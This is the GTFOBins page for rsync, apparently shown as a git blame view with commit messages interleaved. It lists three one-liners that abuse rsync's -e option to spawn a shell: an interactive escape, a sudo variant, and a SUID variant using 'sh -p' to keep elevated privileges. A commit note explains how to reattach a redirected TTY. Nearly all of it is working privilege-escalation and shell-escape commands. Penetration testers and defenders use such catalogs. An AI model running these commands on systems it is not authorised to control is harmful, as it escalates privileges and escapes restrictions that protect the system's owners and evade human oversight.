GTFOBins.github.io/_gtfobins/rsync.md

---
functions:
  execute-interactive:
    - code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
  sudo-enabled:
    - code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
  suid-enabled:
    - code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
---
add new ways 2018-08-17 17:16:09 +02:00			`---`
			`functions:`
Simplify rsync and add interactive execute 2018-08-19 10:12:08 +02:00			`execute-interactive:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null`
add new ways 2018-08-17 17:16:09 +02:00			`sudo-enabled:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null`
Simplify rsync and add interactive execute 2018-08-19 10:12:08 +02:00			`suid-enabled:`
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty) 2018-09-07 01:00:01 +02:00			`- code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null`
add new ways 2018-08-17 17:16:09 +02:00			`---`